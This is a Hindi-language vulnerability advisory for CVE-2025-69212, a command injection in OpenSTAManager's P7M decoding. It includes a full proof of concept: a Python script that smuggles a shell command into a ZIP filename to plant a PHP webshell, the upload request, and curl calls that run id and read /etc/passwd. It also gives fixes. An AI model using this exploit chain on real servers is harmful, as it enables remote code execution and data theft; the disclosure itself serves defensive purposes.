
CVE-2025-69212 - OpenSTAManager में P7M फ़ाइल प्रोसेसिंग में OS Command Injection है
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2025-69212 |
| गंभीरता | गंभीर |
| परामर्श | परामर्श देखें |
| खोजकर्ता | Lukasz Rybak |
P7M (हस्ताक्षरित XML) फ़ाइल डिकोडिंग कार्यक्षमता में एक गंभीर OS कमांड इंजेक्शन भेद्यता मौजूद है। एक प्रमाणित हमलावर दुर्भावनापूर्ण फ़ाइलनाम वाली .p7m फ़ाइल युक्त ZIP फ़ाइल अपलोड करके सर्वर पर मनमाने सिस्टम कमांड निष्पादित कर सकता है।
फ़ाइल: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
समस्या:
$file पैरामीटर को बिना सैनिटाइज़ेशन के सीधे exec() में पास किया जाता हैplugins/importFE_ZIP/actions.php:126 (जब स्वचालित आयात सक्षम हो)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
plugins/importFE/src/FatturaElettronica.php:56 (कंस्ट्रक्टर)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
.p7m फ़ाइलों के लिए, decodeP7M() कॉल किया जाता हैexec() कमांड में इंजेक्ट किया जाता है⚠️ महत्वपूर्ण नोट: PHP का ZipArchive::extractTo() फ़ाइलनामों को / कैरेक्टर पर विभाजित करता है। पेलोड के कमांड में / नहीं होना चाहिए। निरपेक्ष पथों के बजाय cd directory && command का उपयोग करें।
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
प्रतिक्रिया (500 त्रुटि अपेक्षित है - XML पार्सिंग कमांड निष्पादन के बाद विफल होती है):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
सत्यापन - वेबशेल बनाई गई:
वेबशेल बिना प्रमाणीकरण के सार्वजनिक रूप से सुलभ है:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
या
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
खोजकर्ता: Łukasz Rybak
इस CVE को समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारीपूर्वक प्रकट किया गया था। यहां प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।